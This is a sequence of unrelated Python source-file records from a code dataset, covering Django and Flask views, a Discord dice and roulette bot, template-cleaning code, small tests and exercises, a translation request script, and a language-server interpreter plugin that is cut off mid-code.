payments.filter(uid=contract).aggregate(Sum('amount'))['amount__sum'] or 0\n contract.ballance = contract.group.cost - contract.already_paid\n if contract.ballance:\n missing_payments.append(contract)\n total += contract.ballance\n\n return {\n \"season\": season,\n \"month\": month,\n \"payments\": missing_payments,\n \"total\": total}\n","sub_path":"crm/payment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213999137","text":"from Depend import *\nfrom BackendFiles.KickoutGraph import KickOutGraph\nfrom Commons import *\n\nglobal kickoutOBJ\nkickoutOBJ = KickOutGraph()\nclass KickoutApi(Resource):\n\n def __init__(self):\n self.KickObj = globals()['kickoutOBJ']\n\n def post(self):\n data = json.loads(request.data.decode())\n instituteList = data['branches']\n\n\n\n filterType = data['filtertype']\n\n if filterType == 'Branch':\n instituteList = ConvertName(instituteList)\n\n flag = data['flag']\n #{\"branches\":[\"Makhaza\"],\"filtertype\":\"Branch\",\"datefrom\":\"2017-07-24\",\"dateto\":\"2017-09-29\", \"flag\":1}\n if flag == 1:\n return self.KickObj.GenerateGraph(instituteList,filterType,data[\"datefrom\"],data[\"dateto\"])\n elif flag == 2:\n # instituteList = ConvertName(instituteList)\n return self.KickObj.GetLatestDatesBranchWise(data['datefrom'], data['dateto'], instituteList, filterType)\n else:#{\"branches\":[\"Makhaza\"],\"filtertype\":\"Branch\",\"datefrom\":\"2017-07-24\",\"dateto\":\"2017-09-29\", \"flag\":2}\n return self.KickObj.GenerateAllBranch(data[\"datefrom\"], data[\"dateto\"])\n\n\n\n","sub_path":"DashBoardAPI v3.3(Last)/Apis/KickoutApi.py","file_name":"KickoutApi.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569339703","text":"import virtool.processes.steps\nimport virtool.db.utils\nimport virtool.processes.process\nimport virtool.utils\n\n\nasync def register(db, process_type, context=None):\n process_id = await virtool.db.utils.get_new_id(db.processes)\n\n document = {\n \"_id\": process_id,\n \"complete\": False,\n \"count\": 0,\n \"created_at\": virtool.utils.timestamp(),\n \"progress\": 0,\n \"resumable\": False,\n \"context\": context or dict(),\n \"step\": virtool.processes.steps.FIRST_STEPS[process_type],\n \"type\": process_type\n }\n\n await db.processes.insert_one(document)\n\n return virtool.utils.base_processor(document)\n\n\nasync def update(db, process_id, count=None, progress=None, step=None, context_update=None, errors=None):\n update_dict = dict()\n\n if count is not None:\n update_dict[\"count\"] = count\n\n if progress is not None:\n update_dict[\"progress\"] = progress\n\n if step:\n update_dict[\"step\"] = step\n\n if errors is not None:\n update_dict[\"errors\"] = errors\n\n if context_update:\n for key, value in context_update.items():\n update_dict[f\"context.{key}\"] = value\n\n document = await db.processes.find_one_and_update({\"_id\": process_id}, {\n \"$set\": update_dict\n })\n\n return virtool.utils.base_processor(document)\n\n\nasync def complete(db, process_id):\n await db.processes.update_one({\"_id\": process_id}, {\n \"$set\": {\n \"complete\": True,\n \"progress\": 1\n }\n })\n\n\nasync def remove(db, process_id):\n await db.processes.delete_one({\"_id\": process_id})\n","sub_path":"virtool/processes/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"600647641","text":"import random\nimport re\n\nimport discord\nimport rolldice\nfrom discord.ext import commands\n\n\nclass RNG:\n \"\"\"Randomness commands\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n\n @commands.command(name='8ball',\n description=\"Answers a yes/no question.\",\n brief=\"Answers from the beyond.\")\n async def _eightball(self):\n possible_responses = [\n 'Yes',\n 'Maybe',\n 'No',\n 'Probably',\n 'Nah',\n 'No way',\n 'Nope',\n 'YES',\n 'Kind of',\n 'HELL NO'\n ]\n await self.bot.say(random.choice(possible_responses))\n\n\n @commands.command(description='Choose one of multiple choices.'\n 'With options containing spaces, use double quotes like:\\n'\n '+choose \"Make Pizza\" Fish \"Go to the cafeteria\"',\n brief='Let the bot decide for you',\n aliases=['choice'])\n async def choose(self, *choices: str):\n await self.bot.say(random.choice(choices))\n\n\n @commands.command(description=\"Flips a coin\",\n brief=\"Flip a coin\")\n async def coinflip(self):\n possible_responses = [\n 'Heads',\n 'Tails'\n ]\n await self.bot.say(random.choice(possible_responses))\n\n\n @commands.command(description='Says something random',\n brief='Says something random')\n async def random(self):\n possible_responses = [\n 'Franxx',\n 'Nope',\n 'Mom',\n 'Dead',\n 'Heh',\n 'No u',\n 'Darling'\n ]\n await self.bot.say(random.choice(possible_responses))\n # D:YES I ONLY ADDED IT CUZ I WANTENTED TO ADD SOMETHING ABOUT DARLING IN THE FRANXX\n # D:TAKE ME TO COURT IF U WANT TO\n\n\n @commands.command(pass_context=True,\n description=\"Rolls a dice in NdN format. (1d6 is rolling a standard, six-sided die once. \"\n \"3d20 rolls a twenty-sided die three times.)\\n\\n\"\n \"Supports NdNx format for 'Drop Lowest' style. The x needs to be lowercase.\\n\"\n \"(4d6x rolls 4 six-sided dice and removes the lowest roll from the sum.)\\n\"\n \"Supports NdN + N format for adding modifiers.\\n\"\n \"(1d12 + 2 rolls a 12-sided die once and adds 2 to the sum.)\\n\\n\"\n \"NdNx + N is supported. \"\n \"Does NOT currently support any other CritDice formats.\",\n brief=\"Rolls a die in NdN format\")\n async def roll(self, ctx, *, dice):\n total = 0\n modification = ent_modif = \"\"\n try:\n result, explanation = rolldice.roll_dice(\"\".join(dice))\n explanation = explanation.replace(\",\", \", \")\n\n if \"x\" in dice:\n explanation, *modification = explanation.split(\"] \", 1)\n if modification:\n operator = re.search(r'([+|-])', str(modification).strip())\n modifier = re.sub(r'[^0-9]', \"\", str(modification))\n ent_modif = str(operator.group(1)) + str(modifier)\n explanation += \"]\"\n explanation = re.sub(r' ~~ ([0-9]+)', \" ~~(\\\\1)~~\", explanation).replace(\"]]\", \"]\")\n result = re.sub(r' ~~(\\([0-9]\\))~~', \"\", explanation).strip('[]').split(', ')\n for i in result:\n total = total + int(i)\n result = total\n if ent_modif:\n result = eval(str(result) + ent_modif)\n embed = discord.Embed(colour=discord.Colour(0x5e51a8), title=\"Result: __\" + str(result) + \"__\",\n description=str(explanation) + \" \" + str(modification).strip(\"[']\"))\n embed.set_footer(text=\"Rolled \" + dice)\n await self.bot.say(embed=embed)\n except rolldice.DiceGroupException as e:\n helper = self.bot.formatter.format_help_for(ctx, self.bot.get_command(\"roll\"))\n for h in helper:\n em = discord.Embed(title=\"Format has to be NdN or NdNx or NdN+N or NdNx+N.\",\n description=h.strip(\"```\").replace('<', '[').replace('>', ']'),\n color=discord.Color.red())\n em.set_footer(text=str(e))\n await self.bot.say(embed=em)\n\n\n @commands.command(description=\"It's Russian Roulette\",\n brief=\"Play some Russian Roulette\",\n aliases=['russianroulette', 'rusroulette'])\n async def rroulette(self):\n possible_responses = [\n 'Dead',\n 'Alive',\n 'Alive',\n 'Alive',\n 'Alive'\n ]\n await self.bot.say(random.choice(possible_responses))\n\n\n @commands.command(description=\"Play some French Roulette (bet optional)\\n\\n\"\n \"For a nicer overview of the distribution of numbers across the colors, use \"\n \"+show roulette\\n\\n\"\n \"Red: 1, 3, 5, 7, 9, 12, 14, 16, 18, 19, 21, 23, 25, 27, 30, 32, 34, 36\\n\"\n \"Black: 2, 4, 6, 8, 10, 11, 13, 15, 17, 20, 22, 24, 26, 28, 29, 31, 33, 35\\n\"\n \"No colour: 0\\n\\n\"\n \"Bet options: No Bet / Straight bet (Red 3) / Color Bet (Red) / Even/Odd Bet (Odd)\"\n \"\\n\\nUsage:\\n+roulette OR +roulette Red 3 OR +roulette 0 OR +roulette Odd\",\n brief=\"Play some Roulette\")\n async def roulette(self, *bet):\n black = (2, 4, 6, 8, 10, 11, 13, 15, 17, 20, 22, 24, 26, 28, 29, 31, 33, 35)\n red = (1, 3, 5, 7, 9, 12, 14, 16, 18, 19, 21, 23, 25, 27, 30, 32, 34, 36)\n randnum = random.randint(0, 36)\n if not randnum == 0:\n result_even = (randnum % 2) == 0\n if result_even:\n result_eo = \"Even\"\n else:\n result_eo = \"Odd\"\n else:\n result_even = None\n result_eo = None\n result_n = str(randnum)\n win_type = None\n if randnum not in black:\n if randnum not in red:\n result_n = \"0\"\n result_c = None\n else:\n result_c = \"Red\"\n else:\n result_c = \"Black\"\n\n if result_c:\n full_result_no_eo = result_c + \" \" + result_n\n else:\n full_result_no_eo = result_n\n if result_eo:\n full_result_eo = full_result_no_eo + \" ({})\".format(result_eo)\n else:\n full_result_eo = full_result_no_eo\n\n if bet:\n user_bet = ' '.join(bet).strip().lower()\n if \"even\" in user_bet:\n if result_even:\n win_type = \"n Even Bet\"\n else:\n win_type = None\n elif \"odd\" in user_bet:\n if result_even is False:\n win_type = \"n Odd Bet\"\n else:\n win_type = None\n\n else:\n user_bet_n = ''.join(x for x in user_bet if x.isdigit())\n if user_bet_n == '':\n user_bet_n = None\n user_bet_c = user_bet\n elif user_bet_n == '0':\n user_bet_c = None\n else:\n user_bet_c = user_bet.split(\" \", 1)\n user_bet_c = user_bet_c[0]\n\n if result_c:\n if user_bet_c:\n full_bet = user_bet_c + \" \" + str(user_bet_n)\n else:\n full_bet = user_bet_n\n\n if user_bet_n:\n if full_result_no_eo.lower() == full_bet:\n win_type = \" Straight Bet\"\n else:\n if result_c.lower() == user_bet_c.lower():\n win_type = \" Bet on \" + result_c\n else:\n if full_result_no_eo == user_bet_n:\n win_type = \" Straight Bet\"\n print(str(win_type))\n if win_type:\n message = full_result_eo + \"\\n**You win with a{}!**\".format(win_type)\n else:\n message = full_result_eo + \"\\n**You lost!**\"\n else:\n message = full_result_eo\n await self.bot.say(message)\n\n\n @commands.group(hidden=True,\n pass_context=True,\n description=\"\")\n async def show(self, ctx):\n if ctx.invoked_subcommand is None:\n return\n\n @show.command(pass_context=True,\n name=\"roulette\",\n description=\"\")\n async def _roulette(self, ctx):\n embed = discord.Embed(colour=discord.Colour(0x5e51a8), description=\"Distribution of numbers and colors on the French Roulette table:\\n\")\n embed.set_image(url=\"https://i.imgur.com/jtMZJXR.png\")\n await self.bot.say(embed=embed)\n\n\n @commands.command(description=\"Gives you a random scenario\",\n brief=\"Gives you a random scenario\")\n async def scenario(self):\n possible_responses = [\n 'Nishi now owns the server',\n 'Zero sold you for a plane',\n 'Berend made you watch bad porn',\n 'Tanya killed you for hurting Nishi',\n 'Josh removed a kebab',\n 'You got hacked',\n '<.<',\n 'Nishi just took over the world',\n 'Cutie Joey got his cheeks pinched',\n 'Rech got stepped on',\n \"Exo tried to get banned but wasn't\"\n ]\n await self.bot.say(random.choice(possible_responses))\n\n\n @commands.command(description='Find out how shippable your ship is\\n\\nUsage:\\n'\n '+ship The entire internet and pineapple on pizza',\n brief='Ship things')\n async def ship(self, *ship):\n ship = ' '.join(ship)\n split = re.split(\" and \", ship, 1, flags=re.IGNORECASE)\n shipping = random.random() * 100\n if shipping < 50:\n emote_choice = \":broken_heart:\"\n else:\n emote_choice = \":heart:\"\n embed = discord.Embed(colour=discord.Colour(0x5e51a8), description=\"\" + split[0] + \" and \" + split[1] + \"? `{0:.2f}%` shippable. \".format(shipping) + emote_choice)\n await self.bot.say(embed=embed)\n\n\ndef setup(bot):\n bot.add_cog(RNG(bot))\n","sub_path":"rng.py","file_name":"rng.py","file_ext":"py","file_size_in_byte":10938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"27006256","text":"#IanNolon\n#5/11/18\n#warmup16.py\n\nfile = open('engmix.txt')\n\ncount = 0\nfor line in file:\n line = line.strip()\n if len(line) > 0:\n if line[0] == 'i' and line[-1] == 'n':\n print(line)\n count += 1\nprint(count)\n","sub_path":"warmup16.py","file_name":"warmup16.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"96271552","text":"import re\n\nfrom component import BaseComponent\nfrom errors import StorkConfigurationError\n\nfrom lxml.html import fragments_fromstring, tostring\nfrom lxml.html.clean import clean_html\n\nfrom django import forms\nfrom django.template.loader import render_to_string\nfrom django.template import Template\nfrom django.template.loader_tags import BlockNode\nfrom django.utils.safestring import mark_safe\n\nfrom tiger.stork.models import Html\nfrom tiger.stork.constants import TEMPLATE_TAG_ESCAPES\n\n\nblock_re = re.compile(r'\\{% block ([a-z]+) %\\}\\s*\\{% endblock %\\}')\npseudoblock_re = re.compile(r'\\{\\{([a-z]+)\\}\\}')\n\n\ndef stork_to_django(html):\n elements = fragments_fromstring(''.join([\n c for c in html\n if c != '\\r'\n ]))\n html = ''.join(tostring(clean_html(element)) for element in elements)\n with_blocks = pseudoblock_re.sub(r'&& block \\1 &&&& endblock &&', html)\n for bit, tag in TEMPLATE_TAG_ESCAPES:\n sub = ''.join(['&#%d;' % ord(c) for c in bit])\n with_blocks = with_blocks.replace(bit, sub) \n with_blocks = re.sub(r'&& block ([a-z]+) &&&& endblock &&', r'{% block \\1 %}{% endblock %}', with_blocks)\n return with_blocks\n\n\nclass HtmlComponent(BaseComponent):\n model = Html\n\n def __init__(self, panel, group, name, default=None, blocks=None, order=None, **kwargs):\n if default is None:\n raise StorkConfigurationError(\"A default value is required for html components\")\n if blocks is None or len(blocks) < 1:\n raise StorkConfigurationError(\"A list of required blocks is required for html components\")\n super(HtmlComponent, self).__init__(panel, group, name, order, **kwargs)\n self.default = default\n self.blocks = blocks\n\n def style_tag(self):\n return ''\n\n def get_css(self):\n return ''\n\n def get_defaults(self):\n return {\n 'staged_html': self.prep_html(self.default),\n }\n\n def formfield_excludes(self):\n return ['html']\n\n def form_class(self):\n klass = super(HtmlComponent, self).form_class()\n blocks = self.blocks\n class HtmlForm(klass):\n def clean_staged_html(self):\n with_blocks = stork_to_django(self.cleaned_data['staged_html'])\n t = Template(with_blocks)\n required = list(blocks)\n invalid = []\n dups = []\n block_nodes = t.nodelist.get_nodes_by_type(BlockNode)\n for node in block_nodes:\n name = node.name\n if name in required:\n required.remove(name)\n else:\n if name in blocks:\n dups.append(name)\n else:\n invalid.append(name)\n if len(required):\n raise forms.ValidationError(mark_safe(\"You are missing the following blocks: %s\" % ', '.join('{{%s}}' % r for r in required)))\n if len(dups):\n raise forms.ValidationError(mark_safe(\"The following blocks appear more than once: %s\" % ', '.join('{{%s}}' % d for d in dups)))\n if len(invalid):\n raise forms.ValidationError(mark_safe(\"The following blocks are invalid: %s\" % ', '.join('{{%s}}' % i for i in invalid)))\n return with_blocks\n return HtmlForm\n\n def cleaned_form(self):\n form_class = self.form_class()\n instance = self.instance\n html = instance.invalid_html or instance.staged_html\n form = form_class({'%s-staged_html' % self.id: self.prep_html(html)}, instance=instance, prefix=self.id)\n form.full_clean()\n return form\n\n def save(self, data=None, files=None):\n new_instance = not self.instance\n if data is None:\n data = self.defaults\n form = self.form_instance(data, files)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.invalid_html = None\n if len(data) > 1 or new_instance:\n instance.html = instance.staged_html\n else:\n instance = self.instance\n instance.invalid_html = data['%s-staged_html' % self.id]\n instance.theme = self.stork.theme\n instance.component = self.id\n instance.save()\n\n def prep_html(self, html):\n for bit, tag in TEMPLATE_TAG_ESCAPES:\n html = html.replace(tag, bit)\n return block_re.sub(r'{{\\1}}', html)\n\n def as_template(self, staged=False):\n if staged:\n field = 'staged_html'\n else:\n field = 'html'\n html = getattr(self.instance, field)\n pre_base_shell = \"\"\"\n {%% extends 'head.html' %%}\n {%% block main %%}%s{%% endblock %%}\"\"\" % html\n return Template(pre_base_shell)\n\n def revert(self):\n instance = self.instance\n instance.staged_html = instance.html\n instance.invalid_html = None\n instance.save()\n","sub_path":"tiger/stork/html.py","file_name":"html.py","file_ext":"py","file_size_in_byte":5075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"449658158","text":"import os\n\nimport pytest\n\nfrom temporary import __version__, temporary_directory, temporary_file, temporary_sqlite_database\n\n\ndef test_version():\n assert __version__ == '0.1.0'\n\n\ndef test_file():\n with temporary_file() as path:\n assert os.path.isfile(path)\n with open(path, 'w') as fp:\n fp.write('Hello, world!')\n with open(path, 'r') as fp:\n assert fp.read() == 'Hello, world!'\n assert not os.path.exists(path)\n\n\ndef test_file_error():\n with pytest.raises(ValueError):\n with temporary_file() as path:\n raise ValueError()\n assert not os.path.exists(path)\n\n\ndef test_directory():\n with temporary_directory() as path:\n assert os.path.isdir(path)\n open(os.path.join(path, 'file1'), 'w').close()\n open(os.path.join(path, 'file2'), 'w').close()\n assert set(os.listdir(path)) == {'file1', 'file2'}\n assert not os.path.exists(path)\n\n\ndef test_directory_error():\n with pytest.raises(ValueError):\n with temporary_directory() as path:\n raise ValueError()\n assert not os.path.exists(path)\n\ndef test_sqlite_database():\n with temporary_sqlite_database() as conn:\n cursor = conn.cursor()\n cursor.execute('CREATE TABLE examples (example_pk INTEGER PRIMARY KEY, example_text TEXT)')\n cursor.execute('INSERT INTO examples (example_text) VALUES (\"example\")')\n assert cursor.execute('SELECT * FROM examples').fetchall() == [(1, u'example')]","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513294991","text":"floor = [[1,0,0,0],\r\n [0,1,0,1],\r\n [1,0,1,1]]\r\ndef clean(floor):\r\n m = len(floor[0]) # no of cols\r\n n = len(floor) # no of rows\r\n no_of_tiles = m * n\r\n tiles_checked = 0\r\n row = 0\r\n col = 0\r\n while tiles_checked < no_of_tiles:\r\n # Current position\r\n print_floor(floor, row, col)\r\n # Suck if dirty\r\n if floor[row][col] == 1:\r\n floor[row][col] = 0\r\n print('Sucked the dirt')\r\n else:\r\n print('Already Clean')\r\n # Next tile\r\n if row % 2 == 0: \r\n if col < m-1:\r\n col += 1\r\n else:\r\n row += 1 \r\n elif row % 2 == 1:\r\n if 0 < col:\r\n col -= 1\r\n else:\r\n row += 1 \r\n tiles_checked += 1\r\n print('---------------')\r\n print('Cleaned!!!')\r\ndef print_floor(floor, row, col):\r\n temp = floor[row][col]\r\n floor[row][col] = 'VC'\r\n for x in floor:\r\n print(x)\r\n floor[row][col] = temp\r\n # Call the function\r\nclean(floor)\r\n","sub_path":"program3/vacuumCleaner3.py","file_name":"vacuumCleaner3.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114718857","text":"from pyramid.view import view_config\nfrom pyramid.response import Response\nfrom pyramid.httpexceptions import HTTPBadRequest\nfrom pyramid.httpexceptions import HTTPUnauthorized\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\nclass Sketch(object):\n\n def __init__(self, request):\n self.request = request\n\n @view_config(route_name='download_sketch')\n def download_sketch(self):\n\n if self.request.user is None:\n return HTTPUnauthorized()\n filename = self.request.params.get('name', None)\n if filename is None:\n return HTTPBadRequest()\n\n dirname = \"/sketch\"\n\n sketch_filepath = dirname+\"/\"+filename+\".pdf\"\n f = None\n try:\n f = open(sketch_filepath, 'r')\n except:\n try:\n sketch_filepath = dirname+\"/\"+filename+\".PDF\"\n f = open(sketch_filepath, 'r')\n except:\n f = None\n\n if f is None:\n return HTTPBadRequest()\n\n self._log_download_stats(filename, dirname)\n\n headers = {\"Content-Type\": \"application/pdf\",\n \"Content-Disposition\": \"attachment; filename=\\\"\" +\n str(filename) + \".pdf\\\"\"}\n\n return Response(f.read(), headers=headers)\n\n def _log_download_stats(self, filename, townname):\n pass\n # sketchDownload = SketchDownload()\n # sketchDownload.user_login = self.user\n # sketchDownload.application = str(request.environ.get('SERVER_NAME'))\n # sketchDownload.filename = filename\n # sketchDownload.directory = townName\n # Session.add(sketchDownload)\n # Session.commit()\n","sub_path":"geoportailv3/views/sketch.py","file_name":"sketch.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"433227938","text":"def XLSXConv(ExcelPath,TextPath):\r\n\r\n import xlrd\r\n wb = xlrd.open_workbook(loc) # Access work book\r\n Sheet = wb.sheet_by_index(0) # Specify worksheet\r\n\r\n No_rows = Sheet.nrows # Number of rows in sheet\r\n No_columns = Sheet.ncols # Number of columns in sheet\r\n\r\n f = open(TextPath,\"w+\") # Creates txt file and overwrites content, if file already exists\r\n\r\n for Position_row in range(No_rows):\r\n Row = []\r\n\r\n for Position_col in range(No_columns):\r\n Row.append(Sheet.cell_value(Position_row,Position_col)) # Get each row\r\n\r\n f.write('\\t \\t'.join(map(str, Row)))\r\n\r\n f.close()\r\n\r\n\r\n","sub_path":"Converter.py","file_name":"Converter.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470350735","text":"# coding=utf-8\n'''\n利用parse模块模拟post请求\n分析百度翻译\n分析步骤:\n1. 打开F12\n2. 尝试输入单词girl,发现每输入一个字母后都有请求\n3. 请求地址是http://fanyi.baidu.com/sug\n4. 利用network->All->Params,查看,发现FormData的值是 kw:girl\n5. 检查返回内容的格式,发现返回的是json格式内容==>需要用到json包\n'''\n\nfrom urllib import request,parse\n# 负责处理json格式的模块\nimport json\n\n'''\n大致流程:\n1. 利用data构造内容,然后urlopen打开\n2. 返回一个json格式的结果\n3. 结果就应该是girl的释义\n'''\n\nkw = input(\"输入你想查询的单词或文本: \\n\")\nbaseurl = \"http://fanyi.baidu.com/sug\"\n\n# 存放用来模拟form的数据一定是dict格式\ndata = {\n 'kw': kw\n}\n\n# 需要使用parse模块对data进行编码\ndata = parse.urlencode(data).encode()\n#print(type(data))\n\n# 我们需要构造一个请求头,请求头应该至少包含传入的数据的长度\n# request要求传入的请求头是一个dict格式\n\nheaders = {\n # 因为使用post,至少应该包含content-length字段\n 'Content-Length':len(data)\n}\n\n# 有个headers,data,url,就可以尝试发出请求了\n\nrsp = request.urlopen(baseurl, data=data)\n\njson_data = rsp.read().decode('utf-8')\n\n#print(json_data)\n#print(type(json_data))\n\n# 把json字符串转换成字典\njson_data = json.loads(json_data)\n#print(json_data)\n#print(type(json_data))\n\nfor item in json_data['data']:\n print(item['k'],':',item['v'])","sub_path":"python_lesson/爬虫/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"308673488","text":"import logging\n\nfrom flask import request\nfrom flask_restx import Resource\nfrom jinjamator.daemon.api.serializers import environments\nfrom jinjamator.daemon.api.restx import api\n\nfrom flask import current_app as app\nimport glob\nimport os\nimport xxhash\n\nlog = logging.getLogger()\n\nns = api.namespace(\n \"environments\", description=\"Operations related to jinjamator environments\"\n)\navailable_environments = []\npreload_defaults_from_site_choices = [\"\"]\nsite_path_by_name = {}\n\n\ndef discover_environments(app):\n \"\"\"\n Discovers all environments and sites found in global_environments_base_dirs.\n \"\"\"\n\n for env_base_dir in app.config[\"JINJAMATOR_ENVIRONMENTS_BASE_DIRECTORIES\"]:\n for env_dir in glob.glob(os.path.join(env_base_dir, \"*\")):\n\n if os.path.isdir(env_dir):\n environment_name = os.path.basename(env_dir)\n current_environment = {\n \"id\": xxhash.xxh64(environment_name).hexdigest(),\n \"path\": os.path.join(env_base_dir, env_dir),\n \"name\": environment_name,\n \"sites\": [],\n }\n for site_dir in glob.glob(\n os.path.join(env_base_dir, environment_name, \"sites\", \"*\")\n ):\n if os.path.isdir(site_dir):\n site_name = os.path.basename(site_dir)\n site = {\n \"id\": xxhash.xxh64(site_name).hexdigest(),\n \"name\": site_name,\n }\n current_environment[\"sites\"].append(site)\n available_environments.append(current_environment)\n for env in available_environments:\n env_name = env.get(\"name\")\n for site in env.get(\"sites\"):\n preload_defaults_from_site_choices.append(f\"{env_name}/{site.get('name')}\")\n site_path_by_name[f\"{env_name}/{site.get('name')}\"] = os.path.join(\n env.get(\"path\"), \"sites\", site.get(\"name\")\n )\n\n\n@ns.route(\"/\")\nclass EnvironmentCollection(Resource):\n @api.marshal_with(environments)\n def get(self):\n \"\"\"\n Returns the list of discoverd environments found in global_environments_base_dirs.\n \"\"\"\n response = {\"environments\": available_environments}\n return response\n","sub_path":"jinjamator/daemon/api/endpoints/environments.py","file_name":"environments.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293916331","text":"\"\"\"\nNote: this code will actually run as a plugin in the RobotFramework Language\nServer, not in the Robocorp Code environment, so, we need to be careful on the\nimports so that we only import what's actually available there!\n\ni.e.: We can import `robocode_ls_core`, and even `robotframework_ls`, but we\ncan't import `robocode_vscode` without some additional work.\n\"\"\"\nimport os.path\nimport sys\nfrom collections import namedtuple\n\ntry:\n from robocode_vscode.rcc import Rcc # noqa\nexcept:\n # Automatically add it to the path if executing as a plugin the first time.\n sys.path.append(\n os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n )\n import robocode_vscode # @UnusedImport\n\n from robocode_vscode.rcc import Rcc # noqa\n\n\nfrom typing import Optional, Dict, List, Tuple\n\nfrom robocode_ls_core.basic import implements\nfrom robocode_ls_core.pluginmanager import PluginManager\nfrom robotframework_ls.ep_resolve_interpreter import (\n EPResolveInterpreter,\n IInterpreterInfo,\n)\nfrom robocode_ls_core import uris\nfrom robocode_ls_core.robotframework_log import get_logger\nfrom pathlib import Path\nimport weakref\n\nlog = get_logger(__name__)\n\n\n_CachedFileMTimeInfo = namedtuple(\"_CachedFileMTimeInfo\", \"st_mtime, st_size, path\")\n\n_CachedInterpreterMTime = Tuple[_CachedFileMTimeInfo, Optional[_CachedFileMTimeInfo]]\n\n\ndef _get_mtime_cache_info(file_path: Path) -> _CachedFileMTimeInfo:\n \"\"\"\n Cache based on the time/size of a given path.\n \"\"\"\n stat = file_path.stat()\n return _CachedFileMTimeInfo(stat.st_mtime, stat.st_size, str(file_path))\n\n\nclass _CachedFileInfo(object):\n def __init__(self, file_path: Path):\n self.file_path = file_path\n self.mtime_info: _CachedFileMTimeInfo = _get_mtime_cache_info(file_path)\n self.contents: str = file_path.read_text(encoding=\"utf-8\", errors=\"replace\")\n self._yaml_contents: Optional[dict] = None\n\n @property\n def yaml_contents(self) -> dict:\n yaml_contents = self._yaml_contents\n if yaml_contents is None:\n from robocode_ls_core import yaml_wrapper\n from io import StringIO\n\n s = StringIO(self.contents)\n yaml_contents = self._yaml_contents = yaml_wrapper.load(s)\n return yaml_contents\n\n def is_cache_valid(self) -> bool:\n return self.mtime_info == _get_mtime_cache_info(self.file_path)\n\n\nclass _CachedInterpreterInfo(object):\n def __init__(\n self,\n package_yaml_file_info: _CachedFileInfo,\n conda_config_file_info: Optional[_CachedFileInfo],\n pm: PluginManager,\n ):\n from robotframework_ls.ep_resolve_interpreter import DefaultInterpreterInfo\n from robotframework_ls.ep_providers import EPConfigurationProvider\n import json\n\n self._mtime: _CachedInterpreterMTime = self._obtain_mtime(\n package_yaml_file_info, conda_config_file_info\n )\n\n configuration_provider: EPConfigurationProvider = pm[EPConfigurationProvider]\n rcc = Rcc(configuration_provider)\n interpreter_id = str(package_yaml_file_info.file_path)\n result = rcc.run_python_code_package_yaml(\n \"\"\"\nif __name__ == \"__main__\":\n import sys\n import json\n import os\n import time\n\n info = {\n \"python_executable\": sys.executable,\n \"python_environ\": dict(os.environ),\n }\n json_contents = json.dumps(info, indent=4)\n sys.stdout.write('JSON START>>')\n sys.stdout.write(json_contents)\n sys.stdout.write('<>\")\n end = json_contents.find(\"<> or <>\")\n json_contents = json_contents[start:end]\n try:\n json_dict: dict = json.loads(json_contents)\n except:\n raise RuntimeError(f\"Error loading json: {json_contents}.\")\n\n root = str(package_yaml_file_info.file_path.parent)\n environment: dict = {}\n\n for _activity_name, activity in rcc.iter_package_yaml_activities(\n package_yaml_file_info.yaml_contents\n ):\n activity_root = activity.get(\"activityRoot\")\n if activity_root:\n if os.path.isabs(activity_root):\n root = activity_root\n else:\n # relative path: let's make it absolute\n parent = str(package_yaml_file_info.file_path.parent)\n root = os.path.abspath(os.path.join(parent, activity_root))\n\n environment = activity.get(\"environment\")\n\n # i.e.: Use just the first activity (is there a better way to do this?)\n break\n\n additional_pythonpath_entries: List[str] = []\n for key, value in environment.items():\n if key.lower() == \"pythonpath\":\n # Note: we currently deal only with pythonpath entries, so, this\n # may not be ideal when really running an activity.\n if isinstance(value, list):\n for v in value:\n additional_pythonpath_entries.append(os.path.join(root, str(v)))\n\n self.info: IInterpreterInfo = DefaultInterpreterInfo(\n interpreter_id,\n json_dict[\"python_executable\"],\n json_dict[\"python_environ\"],\n additional_pythonpath_entries,\n )\n\n def _obtain_mtime(\n self,\n package_yaml_file_info: _CachedFileInfo,\n conda_config_file_info: Optional[_CachedFileInfo],\n ) -> _CachedInterpreterMTime:\n return (\n package_yaml_file_info.mtime_info,\n conda_config_file_info.mtime_info if conda_config_file_info else None,\n )\n\n def is_cache_valid(\n self,\n package_yaml_file_info: _CachedFileInfo,\n conda_config_file_info: Optional[_CachedFileInfo],\n ) -> bool:\n return self._mtime == self._obtain_mtime(\n package_yaml_file_info, conda_config_file_info\n )\n\n\nclass _CacheInfo(object):\n \"\"\"\n As a new instance of the RobocodeResolveInterpreter is created for each call,\n we need to store cached info outside it.\n \"\"\"\n\n _cached_file_info: Dict[Path, _CachedFileInfo] = {}\n _cached_interpreter_info: Dict[Path, _CachedInterpreterInfo] = {}\n _cache_hit_files = 0 # Just for testing\n _cache_hit_interpreter = 0 # Just for testing\n\n @classmethod\n def 